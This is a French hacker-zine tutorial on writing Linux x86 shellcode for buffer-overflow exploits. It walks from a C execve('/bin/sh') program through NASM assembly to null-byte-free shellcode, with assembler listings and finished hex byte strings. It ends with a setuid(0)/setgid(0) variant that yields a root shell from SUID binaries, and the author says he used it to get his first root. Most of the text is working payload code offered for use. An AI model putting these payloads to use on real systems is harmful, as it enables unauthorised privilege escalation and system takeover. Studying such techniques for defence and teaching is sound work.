ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º Ecriture de ShellCode º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Bon tout d'abord je commence par un petit rappel sur les exploits. Dans un exploit par buffer overflow le but est de faire executer du code indesirable (enfin indesirable pour l'admin, pas pour nous) dans le but de devenir root par exemple. Ce code se place dans le buffer qui sert a faire le buffer overflow. Ce bout de code se nomme shellcode. Ici on va voir comment en programmer. Les outils necessaires: ~~~~~~~~~~~~~~~~~~~~~~~ le nombre d'outils a posseder est tres petit. En effet une distribution de linux ainsi qu'un compilateur asm sont necessaires. Ici on va utiliser Nasm car il est dans beaucoup de distrib et utilise la syntaxe intel. Bon vous l'avez compris un shellcode ca se faire en asm. Et comme j'aime l'asm ca devrait etre marrant. On y va maintenant ~~~~~~~~~~~~~~~~~~ Je vais essayer d'etre le plus clair possible car je sais qu'y a plus grand monde qui soit fascine par l'asm (vive l'asm!). Commencons par un code permettant d'obtenir un shell histoire de pouvoir lancer quelques commandes. Voyons le code en c, apres on le mettra en asm code en c: ~~~~~~~~~~ #include int main() { char *args[2]; args[0] = "/bin/sh"; args[1] = NULL; execve(args[0], args, NULL); return(0); } et on compile avec gcc gcc shell.c -o shell Bon on essaie ce petit prog, il marche sans probleme c'est bon, maintenant il faut passer a l'asm ;). On va pas se prendre la tete a le debugger on va le coder a l'arrache :) Un fichier executable contient des sections comme sous windows. La section .data contient les chaines de caracteres, les variables et autres et la section .text (appelle parfois .code sous win32) acceuille le code executable. Nous allons essayer de nous familiariser avec la syntaxe de Nasm pour creer nos propres programmes. Le premier but est de creer un programme qui ecrira "Asm PoWa", c'est juste pour eviter l'habituel "hello world" ;). Voila comment presenter du code en asm compilable sous Nasm: BITS 32 GLOBAL main SECTION .text main: ...... le code ici ...... SECTION .data ...... les datas ici ...... Comment appelez printf() ? comme je connais pas encore Nasm je regarde dans la notice et on trouve qu'il faut le declarer comme une api win32 d'une maniere similaire a Tasm. C'est a dire: extern printf puis pour l'appeler: call printf n'utilisant pas libc on ne peut pas faire de "ret" pour quitter. On utilise donc exit(). ca peut paraitre con mais j'ai mis beacoup de temps avant de faire fonctionner un si petit code. Allez, je vous le passe: ------------------------------------------------------ BITS 32 extern printf extern exit GLOBAL main SECTION .text main: push dword mystring call printf call exit SECTION .data mystring db "Asm PoWa",0 ------------------------------------------------------ pour compiler ca se fait en 2 temps: [root@OverFlow Desktop]# nasm shell.asm -f elf [root@OverFlow Desktop]# gcc shell.o -o shell [root@OverFlow Desktop]# et on a un bel executable qu'on execute en faisant ./shell.(je sais pas pourquoi je l'ai appele shell, je dois etre con...) Bon ce petit programme il marche tres bien mais c'est un fichier elf executable sous linux, or nous ce que l'on veut ce n'est pas un fichier executable mais juste le code a copier dans un buffer. La structure du fichier et tout ce qui va avec, nous on en a pas besoin. Revenons en a nos moutons et essayons de convertir le premier programme d'en haut. (pour le tester on compile encore en elf). ca se complique. Il faut se debrouiller pour creer un tableau de pointeur, le tout en asm. Bah pas vraiment insurmontable quand meme. on cree 2 double words qui vont acceuillir les adresses vers les arguments. on declare ca de cette facon: args dd 0,0 le premier 0 va etre remplace par l'adresse en memoire de la chaine "/bin/sh", le second 0 reste tel qu'il est pour marquer la fin du tableau. Ensuite il faut donc l'adresse de "/bin/sh" pour remplir notre tableau. La où en win32 tout bon vxer mettrait un "lea ebx, mystring" eh beh nasm il dit que c'est pas bon! Il faudra mettre a la place: mystring db "/bin/sh",0 mov ebx, mystring et oui, un "mov", ca fait bizarre au debut mais bon, sniff, c'est comme ca on peut rien y faire. l'instruction "mov ebx, mystring" met donc l'adresse de mystring dans le registre 32 bits ebx. pourquoi ebx ? pour rien ! rien ne vous empeche de mettre un autre registre. (du moins pour l'instant). Ensuite pour mettre cette adresse dans le tableau, on fait: mov [args], ebx c'est tout con, non ? apres on appelle la fonction execve. N'oubliez pas qu'il faut "pusher" les arguments dans le sens inverse. Voila ce que ca donne: ------------------------------------------------------ BITS 32 GLOBAL main extern exit extern execve SECTION .text main: xor eax, eax ; eax = 0 mov ebx, mystring ; ebx = adresse de mystring mov [args], ebx ; stocke l'adresse dans args[0] push eax ; NULL push dword args ; push ebx ; "/bin/sh",0 call execve call exit SECTION .data mystring db "/bin/sh",0 args dd 0,0 ------------------------------------------------------ C'est quand meme bien plus joli qu'en c vous trouvez pas. C'est meme presque plus simple a comprendre quand on connait un peu l'asm. Mais la on se retrouve devant un gros (pas tant que ca) probleme: une chaine de caractere ne comporte qu'un seul 0 ! le 0 final marquant la fin de la chaine. Or dans notre programme on utilise la valeur 0. Comment faire pour eviter d'avoir un 0 statique dans le buffer. Et bien on va mettre les 0 lors de l'execution, un simple xor sur un registre permettant d'obtenir une valeur nulle, on va donc proceder a l'aide de cette instruction. Voila le resultat: ------------------------------------------------------ BITS 32 GLOBAL main extern exit extern execve SECTION .text main: xor eax, eax ; eax = 0 mov ebx, buffer ; ebx = adresse de mystring mov [ebx+8], ebx ; stocke l'adresse dans args mov [ebx+12], eax ; 0 lea ecx, [ebx+8] push eax ; NULL push ecx ; push ebx ; "/bin/sh",0 call execve call exit SECTION .data buffer db "/bin/sh",0 args dd 1,1 ------------------------------------------------------ Dans le shellcode final on pourra enlever "args dd 1,1". Je l'ai mis dans le cas present pour ne pas ecraser des donnees sensibles (c'est jamais tres bon), cependant le shellcode sera la plupart du temps suivi de nops donc pas de probleme pour ecrire dessus. Ainsi notre buffer se termine au 0 apres /bin/sh. A noter que pour atteindre args on fait pointer ebx sur le buffer du dessus puis on fait ebx+8 pour l'atteindre (/bin/sh faisant 7 lettres + le 0 final). Maintenant convertissons ce petit programme elf en shellcode. C'est a dire virons tous ce qui ne sert pas directement et enlevons les EXTERN qu'on ne pourra pas utiliser, ne connaissant pas les adresses de ces fonctions. Comment pourra t'on lancer un shell sans execve ? C'est tres simple, on va utiliser directement l'interruption qui lui est associee. Allons voir dans et voila ce qu'on trouve: #define __NR_exit 1 #define __NR_execve 11 hehe, l'int 1 pour exit et l'int 11 pour execve. Le probleme maintenant c'est de savoir quels registres utiliser pour passer les arguments. Apparement le seul moyen pour trouver ca est de debugger les fonctions elles meme avec gdb. Je ne compte pas m'etendre la dessus pour l'instant, allez plutot regarder l'ecrit d'Aleph One traduit par S/ash dans le mag rtc (Phrack 49 pour l'original) D'apres lui voila comment lancer l'interruption correspondant a execve(): EBX = adresse de "/bin/sh",0 ECX = adresse de l'adresse de "/bin/sh",0. EDX = adresse du 0 de fin de tableau EAX = system call number de execve() : 11 puis faire "INT 80h" pour appeler l'interruption. pour exit(): EBX = code de sortie : 0 EAX = system call number de exit() : 1 puis faire "INT 80h" pour appeler l'interruption. En fait pour appeler un INT, eax contient le system call number, puis les parametres sont passes dans l'ordre dans les registres EBX, ECX, EDX, ESI, EDI, ESP, EBP. Ca commence a prendre forme c'est bien. Un dernier detail est que le shellcode va se placer a une adresse memoire qui variera d'un exploit a un autre. Les adresses des datas ne seront donc plus valide. Comme c'est le cas dans un virus. On utilisera donc une methode similaire a celle du calcul du delta offset dans un virus: un appel a call met adresse de retour sur la pile. il suffit de la recuperer a l'aide d'un pop ;). Le but est donc de faire un saut de l'endroit des datas vers le code. Ainsi on aura l'adresse de debut des datas. Pour l'instant voyons le code avec les interruptions: ------------------------------------------------------ BITS 32 GLOBAL main SECTION .text main: xor eax, eax ; EAX = 0 mov ebx, buffer ; EBX = adresse de "/bin/sh" mov [ebx+8], ebx ; stocke l'adresse mov [ebx+12], eax ; place le 0 mov eax, 11 ; EAX = system call number de execve() lea ecx, [ebx+8] ; ECX = adresse de l'adresse de "/bin/sh" lea edx, [ebx+12] ; EDX = adresse du 0 INT 80h xor eax, eax ; EAX = 0 inc eax ; EAX = 1 xor ebx, ebx ; EBX = 0 INT 80h SECTION .data buffer db "/bin/sh",0 args dd 1,1 ; tableau recevant des adresses ------------------------------------------------------ Et voila on a enleve le petit probleme des fonctions deja toutes faites. Maintenant reste le probleme de la localisation dans la memoire: ------------------------------------------------------ BITS 32 GLOBAL main SECTION .text main: jmp datas shellstart: pop ebx ; EBX = adresse de "/bin/sh" xor eax, eax ; EAX = 0 mov [ebx+8], ebx ; stocke l'adresse mov [ebx+12], eax ; place le 0 mov eax, 11 ; EAX = system call number de execve() lea ecx, [ebx+8] ; ECX = adresse de l'adresse de "/bin/sh" lea edx, [ebx+12] ; EDX = adresse du 0 INT 80h xor eax, eax ; EAX = 0 inc eax ; EAX = 1 xor ebx, ebx ; EBX = 0 INT 80h SECTION .data datas: call shellstart buffer db "/bin/sh",0 args dd 1,1 ; tableau recevant des adresses ------------------------------------------------------ Et voila, on saute vers les datas, a cet endroit un call renvoie au debut du code, la valeur de retour placee sur la pile est donc celle de la chaine "/bin/sh". En faisant "pop ebx" on place cette valeur dans ebx. hehe. NB: La methode du delta offset utilisee dans les virus permet d'obtenir le decalage en memoire du virus par rapport au debut de l'hote. Ce decalage est souvent place en ebp. ainsi pour modifier une variable on la note [ebp+variable]. Voila pour la petite info ;) On a plus qu'a mettre ca sous forme de shellcode. On vire les segments et tout: (n'essayez pas de le compiler au format elf, n'ayant plus de segments, le fichier executable ne peut pas fonctionner). ------------------------------------------------------ BITS 32 GLOBAL main main: jmp datas shellstart: pop ebx ; EBX = adresse de "/bin/sh" xor eax, eax ; EAX = 0 mov [ebx+8], ebx ; stocke l'adresse mov [ebx+12], eax ; place le 0 mov eax, 11 ; EAX = system call number de execve() lea ecx, [ebx+8] ; ECX = adresse de l'adresse de "/bin/sh" lea edx, [ebx+12] ; EDX = adresse du 0 INT 80h xor eax, eax ; EAX = 0 inc eax ; EAX = 1 xor ebx, ebx ; EBX = 0 INT 80h datas: call shellstart buffer db "/bin/sh",0 ------------------------------------------------------ Voyons voir ce que ca donne. On le compile en faisant: [root@OverFlow Desktop]# nasm -f coff shell.asm -l list.lst j'adore cette option de Nasm. Regardez le resultat qu'on obtient dans list.lst: 1 2 BITS 32 3 GLOBAL main 4 main: 5 6 00000000 E91D000000 jmp datas 7 shellstart: 8 9 00000005 5B pop ebx ; EBX = adresse de "/bin/sh" 10 00000006 31C0 xor eax, eax ; EAX = 0 11 00000008 895B08 mov [ebx+8], ebx ; stocke l'adresse 12 0000000B 89430C mov [ebx+12], eax ; place le 0 13 0000000E B80B000000 mov eax, 11 ; EAX = system call number de execve() 14 00000013 8D4B08 lea ecx, [ebx+8] ; ECX = adresse de l'adresse de "/bin/sh" 15 00000016 8D530C lea edx, [ebx+12] ; EDX = adresse du 0 16 00000019 CD80 INT 80h 17 18 0000001B 31C0 xor eax, eax ; EAX = 0 19 0000001D 40 inc eax ; EAX = 1 20 0000001E 31DB xor ebx, ebx ; EBX = 0 21 00000020 CD80 INT 80h 22 23 datas: 24 00000022 E8DEFFFFFF call shellstart 25 00000027 2F62696E2F736800 buffer db "/bin/sh",0 Aie, on voit qu'il reste des 00 a l'interieur de notre code(regardez le code hexa a gauche du code assembleur). Voyons le premier cas, le jmp. le jmp present est un saut long. Il faut faire un saut court pour enlever tous ces 0. La syntaxe en Nasm est differente de celle de Tasm, pour faire un saut court il faudra ecrire : "jmp short datas". C'est regle pour ce probleme. Le second est l'instruction mettant eax a 11. EAX etant de la taille d'un double word quand on met eax a 11 on met en realite 0000000B dans eax. Pour eviter ce probleme il suffit de mettre eax a 0 a l'aide d'un "xor eax,eax" puis de mettre 11 dans le registre AL qui est un sous registre de EAX. Un dernier detail est le 0 qui servait a terminer /bin/sh qu'il faut mettre aussi lors de l'execution et non de maniere statique car lorsque l'on creera l'exploit, le shellcode sera au debut du buffer provoquant l'overflow et non a la fin. voila le resultat et le fichier obtenu par Nasm en faisant "nasm -f coff shell.asm -l list.lst": ------------------------------------------------------ BITS 32 GLOBAL main main: jmp short datas shellstart: pop ebx ; EBX = adresse de "/bin/sh" xor eax, eax ; EAX = 0 mov [ebx+8], ebx ; stocke l'adresse mov [ebx+7], al ; le 0 de fin du buffer mov [ebx+12], eax ; place le 0 mov al, 11 ; EAX = system call number de execve() lea ecx, [ebx+8] ; ECX = adresse de l'adresse de "/bin/sh" lea edx, [ebx+12] ; EDX = adresse du 0 INT 80h xor eax, eax ; EAX = 0 inc eax ; EAX = 1 xor ebx, ebx ; EBX = 0 INT 80h datas: call shellstart buffer db "/bin/sh" ------------------------------------------------------ 1 BITS 32 2 GLOBAL main 3 main: 4 5 00000000 EB1D jmp short datas 6 shellstart: 7 8 00000002 5B pop ebx ; EBX = adresse de "/bin/sh" 9 00000003 31C0 xor eax, eax ; EAX = 0 10 00000005 895B08 mov [ebx+8], ebx ; stocke l'adresse 11 00000008 884307 mov [ebx+7], al ; le 0 de fin du buffer 12 0000000B 89430C mov [ebx+12], eax ; place le 0 13 0000000E B00B mov al, 11 ; EAX = system call number de execve() 14 00000010 8D4B08 lea ecx, [ebx+8] ; ECX = adresse de l'adresse de "/bin/sh" 15 00000013 8D530C lea edx, [ebx+12] ; EDX = adresse du 0 16 00000016 CD80 INT 80h 17 18 00000018 31C0 xor eax, eax ; EAX = 0 19 0000001A 40 inc eax ; EAX = 1 20 0000001B 31DB xor ebx, ebx ; EBX = 0 21 0000001D CD80 INT 80h 22 23 datas: 24 0000001F E8DEFFFFFF call shellstart 25 00000024 2F62696E2F7368 buffer db "/bin/sh" ------------------------------------------------------ C'est pas beau ca ? Pas un seul 0 ;) On a plus qu'a recopier le code hexa et a le mettre dans un buffer: (si vous avez la flemme de tout retaper, prenez un editeur hexa et copier-coller le fichier obtenu en faisant "nasm shell.asm") char shellcode[]= "\xeb\x1d\x5b\x31\xc0\x89\x5b\x08\x88\x43" "\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\x31\xc0\x40\x31\xdb\xcd" "\x80\xe8\xde\xff\xff\xff/bin/sh" Maintenant faudrait etre sur qu'il fonctionne. Je le teste dans une backdoor exploitable foireuse qui backdoor meme pas que j'ai faite. Nikel ca pouvait pas mieux marcher ;) La vitesse superieure: Choper le root ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Maintenant on va rooter tout ca. C'est bien beau un shell, mais quand on est root c'est plus marrant. Pour etre root il faut utiliser setuid(0) et setgid(0). Soit les codes 23 et 46 de l'INT 80h. Aller, voila le code: ------------------------------------------------------ BITS 32 GLOBAL main main: jmp short datas shellstart: ;choppe le root ;setuid(0) xor eax, eax ; EAX = 0 mov al, 23 xor ebx, ebx INT 80h ;setgid(0) xor eax, eax ; EAX = 0 mov al, 46 xor ebx, ebx INT 80h ;choppe un shell pop ebx ; EBX = adresse de "/bin/sh" mov [ebx+8], ebx ; stocke l'adresse mov [ebx+7], al ; le 0 de fin du buffer mov [ebx+12], eax ; place le 0 mov al, 11 ; EAX = system call number de execve() lea ecx, [ebx+8] ; ECX = adresse de l'adresse de "/bin/sh" lea edx, [ebx+12] ; EDX = adresse du 0 INT 80h ;quitte xor eax, eax ; EAX = 0 inc eax ; EAX = 1 xor ebx, ebx ; EBX = 0 INT 80h datas: call shellstart buffer db "/bin/sh" ------------------------------------------------------ Le shellcode correspondant: char shellcode[]= "\xeb\x2b\x31\xc0\xb0\x17\x31\xdb\xcd\x80" "\x31\xc0\xb0\x2e\x31\xdb\xcd\x80\x5b\x89" "\x5b\x08\x88\x43\x07\x89\x43\x0c\xb0\x0b" "\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0" "\x40\x31\xdb\xcd\x80\xe8\xd0\xff\xff\xff" "/bin/sh" Evidemment le fichier exploite doit posseder le bit SUID pour que cela fonctionne. Teste et approuve ! (je dois vous dire que c'est grace a celui la que j'ai choppe mon premier root ;))))) (ps: je suis content X-DD) J'espere que cet article servira a quelqu'un, si vous avez des questions n'hesitez pas a m'envoyer un mail a hccc@caramail.com [TiPiaX/VDS] - hccc@caramail.com